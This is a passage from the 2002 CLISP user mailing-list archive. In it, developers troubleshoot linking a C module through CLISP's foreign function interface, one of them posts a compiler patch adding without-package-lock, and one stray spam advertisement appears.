:STDC)-4 in line 4 : SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE* Wrote file /home/kick/tmp/call-f00f.fas Wrote file /home/kick/tmp/call-f00f.c 0 errors, 1 warning Bye. [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base base+f00f make: Warning: File `Makefile' has modification time 44 s in the future make: Nothing to be done for `clisp-module'. make: warning: Clock skew detected. Your build may be incomplete. /usr/test/npaero/local/sparc-sun-solaris2.6/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -I/usr/test/awo/user_work/kick/sparc-sun-solaris2.6/lib/clisp/linkkit -c modules.c In file included from modules.d:11: /usr/test/awo/user_work/kick/sparc-sun-solaris2.6/lib/clisp/linkkit/clisp.h:2855: warning: call-clobbered register used for global register variable /usr/test/npaero/local/sparc-sun-solaris2.6/bin/gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse -DUNIX_BINARY_DISTRIB -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -DNO_SIGSEGV -I. -x none modules.o f00f-code.o lisp.a libcharset.a libavcall.a libcallback.a -ltermcap -lnsl -lsocket -o lisp.run modules.o(.data+0x30): undefined reference to `module__f00f_code__subr_tab' modules.o(.data+0x34): undefined reference to `module__f00f_code__subr_tab_size' modules.o(.data+0x38): undefined reference to `module__f00f_code__object_tab' modules.o(.data+0x3c): undefined reference to `module__f00f_code__object_tab_size' modules.o(.data+0x44): undefined reference to `module__f00f_code__subr_tab_initdata' modules.o(.data+0x48): undefined reference to `module__f00f_code__object_tab_initdata' modules.o(.data+0x4c): undefined reference to `module__f00f_code__init_function_1' modules.o(.data+0x50): undefined reference to `module__f00f_code__init_function_2' collect2: ld returned 1 exit status [kick@login0 ~/tmp]% lf base+f00f/ call-f00f.fas call-f00f.lisp f00f-code.c call-f00f.c call-f00f.lib f00f/ f00f-code.o [kick@login0 ~/tmp]% cat f00f-code.c #include struct X { int i; }; void f(struct X* p) { printf("p->i => %d\n", p->i); } [kick@login0 ~/tmp]% cat call-f00f.lisp (defpackage "CALL-F00F" (:use "LISP" "FFI")) (in-package "CALL-F00F") (def-c-struct X (i int)) (default-foreign-language :stdc) (def-call-out f (:arguments (p (c-ptr X) :in :alloca)) (:return-type nil)) (defun call-f () (f (make-X :i 5))) [kick@login0 ~/tmp]% cat f00f/link.sh file_list='' mod_list='' if test -r f00f-code.c; then file_list="$file_list"' f00f-code.o' mod_list="$mod_list"' f00f_code' fi make clisp-module CC="${CC}" CFLAGS="${CFLAGS}" INCLUDES="$absolute_linkkitdir" NEW_FILES="$file_list" NEW_LIBS="$file_list" NEW_MODULES="$mod_list" TO_LOAD='' [kick@login0 ~/tmp]% cat call-f00f.c #include "clisp.h" extern object module__call_f00f__object_tab[]; subr_t module__call_f00f__subr_tab[1]; uintC module__call_f00f__subr_tab_size = 0; subr_initdata_t module__call_f00f__subr_tab_initdata[1]; object module__call_f00f__object_tab[1]; object_initdata_t module__call_f00f__object_tab_initdata[1]; uintC module__call_f00f__object_tab_size = 0; extern void (f)(); void module__call_f00f__init_function_1(module) var module_t* module; { } void module__call_f00f__init_function_2(module) var module_t* module; { register_foreign_function(&f,"f",1024); } [kick@login0 ~/tmp]% Why is "call-f00f.c" not being included in the build? -- Damien Kick From kaz@footprints.net Mon Nov 04 14:27:35 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 188ph1-0007Oj-00 for ; Mon, 04 Nov 2002 14:27:35 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 188ph0-0004DJ-00; Mon, 04 Nov 2002 14:27:34 -0800 From: Kaz Kylheku To: Kick Damien-DKICK1 cc: "'clisp-list@lists.sourceforge.net'" In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 4 14:28:07 2002 X-Original-Date: Mon, 4 Nov 2002 14:27:34 -0800 (PST) On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote: > Compiling file /home/kick/tmp/call-f00f.lisp ... > WARNING: > SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked > Ignore the lock and proceed > WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 : > SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE* That is annoying. def-c-call-out is supposed to be obsolete, but the workaround of setting the default FFI language triggers an error. What I do is define my own private versions of def-c-call-out and def-c-call-in in my own package, which add the (:language :stdc) property. I set these up as shadowing symbols so they hide the ones accessible in FFI. > Wrote file /home/kick/tmp/call-f00f.fas > Wrote file /home/kick/tmp/call-f00f.c > 0 errors, 1 warning > Bye. > [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base base+f00f > make: Warning: File `Makefile' has modification time 44 s in the future NFS? > modules.o(.data+0x30): undefined reference to `module__f00f_code__subr_tab' This problem is caused by a disagreement within the link.sh script about what your module is called. When CLISP's FFI compiler processes your Lisp module to spit out the .c file, it creates a module name based on the name of that Lisp module, translated to a C identifier (dashes to underscores). That module name is encoded into various C definitions. These definitions must have names that agree with the modules.o. In other words, the module name that you configure in your link.sh must agree with the name of your .lisp file. > base+f00f/ call-f00f.fas call-f00f.lisp f00f-code.c > call-f00f.c call-f00f.lib f00f/ f00f-code.o Based on this listing, your module name is ``call-f00f'', which translates to the C language identifier ``call_f00f''. Edit link.sh to set this as the module's name. The end result should be that modules.o makes references to module__call_f00f__subr_tab and so forth, and these references are satisfied by definitions inside call-f00f.o. Your module's name is not derived from ``f00f-code''. That is just the name of a source file containing some functions to be compiled and linked into the Lisp executable. CLISP doesn't care about the name of this at all, nor does it even require it to exist. From DKICK1@motorola.com Mon Nov 04 15:27:25 2002 Received: from motgate3.mot.com ([144.189.100.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 188qcv-0006oE-00 for ; Mon, 04 Nov 2002 15:27:25 -0800 Received: from pobox4.mot.com (pobox4.mot.com [10.64.251.243]) by motgate3.mot.com (Motorola/Motgate3) with ESMTP id gA4NOSZH019766 for ; Mon, 4 Nov 2002 16:24:28 -0700 (MST) Received: [from il27exm07.cig.mot.com (IL27EXM07.cig.mot.com [136.182.15.116]) by pobox4.mot.com (MOT-pobox4 2.0) with ESMTP id QAA07932 for ; Mon, 4 Nov 2002 16:27:22 -0700 (MST)] Received: by IL27EXM07.cig.mot.com with Internet Mail Service (5.5.2656.59) id ; Mon, 4 Nov 2002 17:27:22 -0600 Message-ID: From: Kick Damien-DKICK1 To: "'Kaz Kylheku'" , Kick Damien-DKICK1 Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain Subject: [clisp-list] RE: Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 4 15:28:02 2002 X-Original-Date: Mon, 4 Nov 2002 17:27:20 -0600 Kaz Kylheku [kaz@ashi.footprints.net] wrote: > On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote: > > > Compiling file /home/kick/tmp/call-f00f.lisp ... > > WARNING: > > SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked > > Ignore the lock and proceed > > WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 : > > SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE* > > That is annoying. [...] What I do is [...] If you wouldn't mind sending an example, I wouldn't mind receiving one . > > Wrote file /home/kick/tmp/call-f00f.fas > > Wrote file /home/kick/tmp/call-f00f.c > > 0 errors, 1 warning > > Bye. > > [kick@login0 ~/tmp]% $DIR/clisp-link add-module-set f00f $DIR/base base+f00f > > make: Warning: File `Makefile' has modification time 44 s in the future > > NFS? Yes. I'm not sure if that is the cause of the problem, though. > > modules.o(.data+0x30): undefined reference to `module__f00f_code__subr_tab' > This problem is caused by a disagreement within the link.sh script > about what your module is called. [...] the module name that you > configure in your link.sh must agree with the name of your .lisp > file. Thank you. This did the trick. [kick@login0 ~/tmp]% cat f00f/link.sh file_list='' mod_list='' if test -r f00f-code.c; then file_list="$file_list"' f00f-code.o' mod_list="$mod_list"' call_f00f' fi make clisp-module CC="${CC}" CFLAGS="${CFLAGS}" INCLUDES="$absolute_linkkitdir" NEW_FILES="$file_list call-f00f.o" NEW_LIBS="$file_list call-f00f.o" NEW_MODULES="$mod_list" TO_LOAD='' [kick@login0 ~/tmp]% > > base+f00f/ call-f00f.fas call-f00f.lisp f00f-code.c > > call-f00f.c call-f00f.lib f00f/ f00f-code.o > > [...] The end result should be that modules.o makes references to > module__call_f00f__subr_tab and so forth, and these references are > satisfied by definitions inside call-f00f.o. I had to compile "call-f00f.c" from the shell. For some reason, I would've expected that this would have been done as part of 'clisp-link', yes? Not that it is difficult to do compile "call-f00f.c" but I'm just curious. > Your module's name is not derived from ``f00f-code''. That is just > the name of a source file containing some functions to be compiled > and linked into the Lisp executable. CLISP doesn't care about the > name of this at all, nor does it even require it to exist. I'm glad you mentioned how CLISP (why is it in uppercase? is it an acronym? is it "(quote clisp) => CLISP"?) does not require "f00f-code.c" to exist at all. This exercise is really just a first step in my attempting to produce a CLISP binding for Don Libe's Expect library. I've been hoping that it is somehow possible to simply supply "libexpect.a". Is there somewhere I can look for more documentation than what I have found in the implementation notes , possibly with an example of doing just this (creating an external module from a library)? Are there any gotchas one might think would be lurking for me if I try to do this? -- Damien Kick From kaz@footprints.net Mon Nov 04 18:37:24 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 188tam-0006TY-00 for ; Mon, 04 Nov 2002 18:37:24 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 188tal-0005mV-00; Mon, 04 Nov 2002 18:37:23 -0800 From: Kaz Kylheku To: Kick Damien-DKICK1 cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 4 18:38:01 2002 X-Original-Date: Mon, 4 Nov 2002 18:37:23 -0800 (PST) On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote: > Date: Mon, 4 Nov 2002 17:27:20 -0600 > From: Kick Damien-DKICK1 > To: 'Kaz Kylheku' , > Kick Damien-DKICK1 > Cc: clisp-list@lists.sourceforge.net > Subject: RE: Clisp FFI > > Kaz Kylheku [kaz@ashi.footprints.net] wrote: > > > On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote: > > > > > Compiling file /home/kick/tmp/call-f00f.lisp ... > > > WARNING: > > > SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked > > > Ignore the lock and proceed > > > WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-4 in line 4 : > > > SETQ: assignment to the internal special symbol > FFI::*FOREIGN-LANGUAGE* > > > > That is annoying. [...] What I do is [...] > > If you wouldn't mind sending an example, I wouldn't mind receiving one > . (defpackage :my-ffi-glue-package (:use :ffi :cl) blah blah (shadow :def-c-call-out)) (in-package :my-ffi-glue-package) (defmacro def-c-call-out (&rest forms) `(def-call-out (:language :stdc) ,@forms)) (def-c-call-out ...) > TO_LOAD='' TO_LOAD should be filled in: TO_LOAD='call-foof' This will load call-foof.fas (or .lisp if it happens to not be compiled). It's necessary, because you need that .fas in the lispinit.mem of the generated linking set, just as much as you need your .o files to go into lisp.run. Without loading the Lisp part of it, you don't have the Lisp side of the glue. Here is a gotcha I ran into. If you are using DEF-C-CALL-IN, and are writing Lisp callbacks in your own package (rather than, say, COMMON-LISP-USER), you have to use TO_PRELOAD as well. Without TO_PRELOAD, the build blows up, because a lisp.run is generated from a .o file that contains a table of symbolic references to the symbols in your package. But the problem is that the lisp.run is then used in conjunction with the base lispinit.mem, which knows nothing about the package. With TO_PRELOAD, the image generation is split into an extra step. First, a new lispinit.mem is generated containing your preloaded Lisp code where you can define your packages. Then the new lisp.run is formed with your .o modules. And lastly, this lisp.run is used with the preloaded lispinit.mem, to take care of your TO_LOAD stuff, and generate the final lispinit.mem. > [kick@login0 ~/tmp]% > > > > base+f00f/ call-f00f.fas call-f00f.lisp f00f-code.c > > > call-f00f.c call-f00f.lib f00f/ f00f-code.o > > > > [...] The end result should be that modules.o makes references to > > module__call_f00f__subr_tab and so forth, and these references are > > satisfied by definitions inside call-f00f.o. > > I had to compile "call-f00f.c" from the shell. For some reason, I > would've expected that this would have been done as part of > 'clisp-link', yes? Not that it is difficult to do compile > "call-f00f.c" but I'm just curious. That is correct. You put it into the Makefile. > I'm glad you mentioned how CLISP (why is it in uppercase? is it an > acronym? is it "(quote clisp) => CLISP"?) does not require > "f00f-code.c" to exist at all. This exercise is really just a first > step in my attempting to produce a CLISP binding for Don Libe's Expect > library. I've been hoping that it is somehow possible to simply > supply "libexpect.a". Yes it is. You just put that into the NEW_LIBS line. If it's in the linker path, you can just put in ``-lexpect''. Is there somewhere I can look for more > documentation than what I have found in the implementation notes > , possibly with an > example of doing just this (creating an external module from a > library)? Are there any gotchas one might think would be lurking for > me if I try to do this? The gotchas are that you have to replicate any struct definitions and whatnot using the CLISP FFI language. If the library interfaces change, then you have to make the dependent changes in your FFI definition. It may be helpful to actually have a .c module that separates you from such a dependency. As an example, in Meta-CVS I have wrappers for opendir, readdir and closedir. But the dirent structure has a binary structure that is different on different platforms. I just care about the d_name and d_inode members. So the approach is to define a fake dirent structure, and implement a fake readdir, which I call impl_readdir. This function calls the real readdir and then copies the members from the real struct to the fake struct. Smoething like libexpect is less of a problem this way; a given version of it is the same everywhere. There may be other reasons to create an extra layer. You might want just a simplified subset of the functionality. You can get a simplified subset by making a lot of FFI, and then writing Lisp code on top of that to get the simplification. But depending on the exact circumstances, that could be more work than just writing a simplified layer in C, and then targetting that with FFI. From sds@gnu.org Mon Nov 04 20:13:53 2002 Received: from pop017pub.verizon.net ([206.46.170.210] helo=pop017.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 188v67-0006z2-00 for ; Mon, 04 Nov 2002 20:13:51 -0800 Received: from loiso.podval.org ([151.203.42.207]) by pop017.verizon.net (InterMail vM.5.01.05.09 201-253-122-126-109-20020611) with ESMTP id <20021105041344.TYEN1423.pop017.verizon.net@loiso.podval.org>; Mon, 4 Nov 2002 22:13:44 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gA54FLwQ017592; Mon, 4 Nov 2002 23:15:22 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gA54FLkT017588; Mon, 4 Nov 2002 23:15:21 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Kaz Kylheku Cc: Kick Damien-DKICK1 , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp FFI References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 111 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at pop017.verizon.net from [151.203.42.207] at Mon, 4 Nov 2002 22:13:43 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 4 20:14:05 2002 X-Original-Date: 04 Nov 2002 23:15:20 -0500 > * In message > * On the subject of "[clisp-list] Re: Clisp FFI" > * Sent on Mon, 4 Nov 2002 18:37:23 -0800 (PST) > * Honorable Kaz Kylheku writes: > > (defpackage :my-ffi-glue-package > (:use :ffi :cl) > blah blah > (shadow :def-c-call-out)) > > (in-package :my-ffi-glue-package) > > (defmacro def-c-call-out (&rest forms) > `(def-call-out (:language :stdc) ,@forms)) > > (def-c-call-out ...) please do not do this. use CVS or apply the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux The program isn't debugged until the last user is dead. Index: compiler.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v retrieving revision 1.98 retrieving revision 1.99 diff -u -w -b -u -b -w -i -B -r1.98 -r1.99 --- compiler.lisp 14 Sep 2002 22:14:24 -0000 1.98 +++ compiler.lisp 18 Sep 2002 17:43:06 -0000 1.99 @@ -3013,6 +3013,7 @@ (HANDLER-BIND . c-HANDLER-BIND) (SYS::%HANDLER-BIND . c-HANDLER-BIND) (SYS::CONSTANT-EQL . c-CONSTANT-EQL) + (WITHOUT-PACKAGE-LOCK . c-WITHOUT-PACKAGE-LOCK) ;; Inline-compiled functions: (FUNCALL . c-FUNCALL) (SYS::%FUNCALL . c-FUNCALL) @@ -5668,8 +5669,10 @@ (let ((s (car l))) (when (and (symbolp s) (venv-search-macro s)) (return t))))) +(defvar *compiler-unlocked-packages* nil) (defun set-check-lock (caller symbol) - (when (symbol-value-lock symbol) + (when (and (not (memq (symbol-package symbol) *compiler-unlocked-packages*)) + (symbol-value-lock symbol)) (c-warn (TEXT "~S: assignment to the internal special symbol ~S") caller symbol))) @@ -7054,6 +7057,14 @@ (c-form `(SYS::LOOSE-CONSTANT-EQL ,@form23)) (c-form `(EQL ,@form23))))) +;; compile (without-package-lock (packages) ...) +(defun c-WITHOUT-PACKAGE-LOCK (&optional (c #'c-form)) + (test-list *form* 1) + (let ((*compiler-unlocked-packages* + (append (mapcar #'find-package (second *form*)) + *compiler-unlocked-packages*))) + (funcall c (macroexpand *form*)))) + ;;;;**** FIRST PASS : INLINE FUNCTIONS (PRIMOPS) @@ -11157,7 +11168,8 @@ (symbol-suffix *toplevel-name* (incf subform-count))))))))) (return-from compile-toplevel-form)) - ((LOCALLY EVAL-WHEN COMPILER-LET MACROLET SYMBOL-MACROLET) + ((LOCALLY EVAL-WHEN COMPILER-LET MACROLET SYMBOL-MACROLET + WITHOUT-PACKAGE-LOCK) (let ((*form* form)) ;; call c-LOCALLY resp. c-EVAL-WHEN resp. c-COMPILER-LET ;; resp. c-MACROLET resp. c-SYMBOL-MACROLET: @@ -11359,10 +11371,8 @@ ;; an Output-Stream. Default: t. ;; :listing should be nil or t or a Pathname/String/Symbol or ;; an Output-Stream. Default: nil. -;; :warnings indicates, if the Warnings should also appear on the -;; screen. -;; :verbose indicates, if the Errors also have to appear on the -;; screen. +;; :warnings indicates, if the Warnings should also appear on the screen. +;; :verbose indicates, if the Errors also have to appear on the screen. (defun compile-file (file &key (output-file 'T) listing ((:warnings *compile-warnings*) *compile-warnings*) Index: foreign1.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/foreign1.lisp,v retrieving revision 1.25 retrieving revision 1.26 diff -u -w -b -u -b -w -i -B -r1.25 -r1.26 --- foreign1.lisp 14 Jun 2002 15:42:53 -0000 1.25 +++ foreign1.lisp 18 Sep 2002 17:42:35 -0000 1.26 @@ -282,7 +282,8 @@ (defmacro default-foreign-language (lang) (language-to-flag lang) ; error checking - `(eval-when (load compile eval) (setq *foreign-language* ',lang))) + `(eval-when (load compile eval) + (without-package-lock ("FFI") (setq *foreign-language* ',lang)))) ;; get the even (start=0) or odd (start=1) elements of the simple vector (defun split-c-fun-arglist (args start) From DKICK1@motorola.com Tue Nov 05 19:19:38 2002 Received: from ftpbox.mot.com ([129.188.136.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 189GjB-0001Nh-00 for ; Tue, 05 Nov 2002 19:19:37 -0800 Received: from mothost.mot.com (mothost.mot.com [129.188.137.101]) by ftpbox.mot.com (Motorola/Ftpbox) with ESMTP id gA63JWd9004372 for ; Tue, 5 Nov 2002 20:19:32 -0700 (MST) Received: [from il27exm07.cig.mot.com (IL27EXM07.cig.mot.com [136.182.15.116]) by mothost.mot.com (MOT-pobox 2.0) with ESMTP id UAA10359 for ; Tue, 5 Nov 2002 20:19:32 -0700 (MST)] Received: by IL27EXM07.cig.mot.com with Internet Mail Service (5.5.2656.59) id ; Tue, 5 Nov 2002 21:19:32 -0600 Message-ID: From: Kick Damien-DKICK1 To: "'Kaz Kylheku'" , Kick Damien-DKICK1 Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain Subject: [clisp-list] RE: Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 5 19:20:05 2002 X-Original-Date: Tue, 5 Nov 2002 21:19:27 -0600 Thank you, Kaz, for your reply, all of which was very helpful. There were a few things in your reply, however, that raised a few new quetions for me. No good deed goes unpunished, yes? Kaz Kylheku [kaz@ashi.footprints.net] wrote: > On Mon, 4 Nov 2002, Kick Damien-DKICK1 wrote: > > TO_LOAD='' > > TO_LOAD should be filled in: > > TO_LOAD='call-foof' > > This will load call-foof.fas (or .lisp if it happens to not be > compiled). It's necessary, because you need that .fas in the > lispinit.mem of the generated linking set, just as much as you need > your .o files to go into lisp.run. Without loading the Lisp part of > it, you don't have the Lisp side of the glue. Interesting. My little example seemed to work just fine without it. [kick@login0 ~/tmp]% ./base+f00f/lisp.run \ > -M base+f00f/lispinit.mem -i call-f00f -q ;; Loading file /home/kick/tmp/call-f00f.fas ... ;; Loaded file /home/kick/tmp/call-f00f.fas [1]> (call-f00f::call-f) p->i => 5 [2]> [kick@login0 ~/tmp]% Have I wandered into some kind of undefined behavior that fooled me with the output I was expecting? Either way, I will be certain to modify the 'TO_LOAD' in the future. > > Are there any gotchas one might think would be lurking for me if I > > try to do this? > > The gotchas are that you have to replicate any struct definitions > and whatnot using the CLISP FFI language. [...] True. Here is an example of the kind of potential gotcha about which I was wondering. Consider if, for example, the C code I will be calling from my CLISP process were to 'fork(2)' a child process, as will most likely be the case with the Expect library. When one of these child processes exits and the parent receives SIGCHILD, are any blocking system calling executing from within CLISP not going to have their return codes checked for EINTR correctly (though I realize that the default disposition for SIGCHILD is to be ignored and, thusly, if I'm remembering correclty, would not interrupt a blocking system call (at least on Solaris)) as CLISP is not expecting to be 'fork(2)'ed? I would imagine that any external module code that was attempting to use Pthreads would create problems as CLISP currently does not support threading in a stable release. I'm just fishing here but I hope this gives a few examples of the kinds of gotchas about which I'm asking. -- Damien Kick From layang1682070p03@yahoo.co.uk Tue Nov 05 20:22:38 2002 Received: from a54035.impsat.com.br ([200.189.245.35] helo=yahoo.co.uk) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 189Hi9-0000C6-00 for ; Tue, 05 Nov 2002 20:22:37 -0800 Reply-To: Message-ID: <007b51b17b4e$3761a3b5$6eb54bc5@mxrbcv> From: To: MiME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2616 Importance: Normal Subject: [clisp-list] ADV: Online Business Saving Plan Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 5 20:23:05 2002 X-Original-Date: Tue, 05 Nov 2002 16:59:17 +1100 Want to start your online business

Want to start your online business? No merchant account and no online payment service.  No problem.  I can tell you how to apply a merchant account and at the same time setup an secure and low-cost online payment system free of charge.  I mean it won't cost you a single dime.

Please contact me for detailed information layang168@yahoo.co.uk

¡@

¡@

Lang Yang

10028 Fortune St.

San Ramon, CA  95309

Please click here if you wish to delete from the mailing list.

¡@

¡@

¡@

From kaz@footprints.net Wed Nov 06 08:20:37 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 189Suy-00014f-00 for ; Wed, 06 Nov 2002 08:20:36 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 189Sur-0001W6-00; Wed, 06 Nov 2002 08:20:29 -0800 From: Kaz Kylheku To: Kick Damien-DKICK1 cc: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Clisp FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 6 08:21:06 2002 X-Original-Date: Wed, 6 Nov 2002 08:20:29 -0800 (PST) On Tue, 5 Nov 2002, Kick Damien-DKICK1 wrote: > Kaz Kylheku [kaz@ashi.footprints.net] wrote: > > TO_LOAD='call-foof' > > Interesting. My little example seemed to work just fine without it. > > [kick@login0 ~/tmp]% ./base+f00f/lisp.run \ > > -M base+f00f/lispinit.mem -i call-f00f -q > ;; Loading file /home/kick/tmp/call-f00f.fas ... > ;; Loaded file /home/kick/tmp/call-f00f.fas Yeah, but you typed ``-i call-f00f'' by yourself! The idea is that call-f00f should be in the base+f00f/lispinit.mem, because it contains the Lisp stubs for calling the extra C code you put into base+f00f/lisp.run. You should just be able to run your customized Lisp and have everything already be there. > Here is an example of the kind of potential gotcha about which I was > wondering. Consider if, for example, the C code I will be calling > from my CLISP process were to 'fork(2)' a child process, as will most > likely be the case with the Expect library. When one of these child > processes exits and the parent receives SIGCHILD, are any blocking > system calling executing from within CLISP not going to have their > return codes checked for EINTR correctly (though I realize that the Not checking for EINTR would just be buggy programming; if you ever find a problem like that, CLISP will just have to be patched. > default disposition for SIGCHILD is to be ignored and, thusly, if I'm > remembering correclty, would not interrupt a blocking system call (at > least on Solaris)) as CLISP is not expecting to be 'fork(2)'ed? I CLISP most certainly does expect to be forked. A number of features in the EXT package rely on fork. CLISP supports the launching of a coprocess connected to a lisp stream, and the running of external commands. The COMMON-LISP-USER:EDIT function is another one that runs an external editor. > would imagine that any external module code that was attempting to use > Pthreads would create problems as CLISP currently does not support > threading in a stable release. My guess would be that if you don't try to reenter any Lisp code with your extra threads, you will probably be okay. But that kind of restriction defeats someo of the purpose. I'd also make sure that all components that go into the Lisp executable are properly built with gcc -pthread and all that. From dxs@privatei.com Wed Nov 06 15:44:35 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 189Zqd-0004LM-00 for ; Wed, 06 Nov 2002 15:44:35 -0800 Received: from dxs by mantis.privatei.com with local (Exim 3.36 #2) id 189Zrf-0005d9-00 for clisp-list@sourceforge.net; Wed, 06 Nov 2002 16:45:39 -0700 To: clisp-list@sourceforge.net From: dan.stanger@ieee.org Reply-to: dan.stanger@ieee.org X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: Subject: [clisp-list] Problem with gdi on clisp 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Nov 6 15:45:04 2002 X-Original-Date: Wed, 6 Nov 2002 16:45:39 -0700 (MST) The code I wrote for 2.28 has a problem on 2.30. The problem is the code goes into a lisp stack overflow loop. Does anyone see anything wrong with the following? I have narrowed it down to the following call: pushSTACK(allocate_fpointer(hWnd)); funcall(O(onCreate),1); // fails in this call The onCreate variable is set by passing in a function in my initialization lisp code as follows: (defun init-gdi () (gdi::initc *functions* #'onCreate)) (defvar 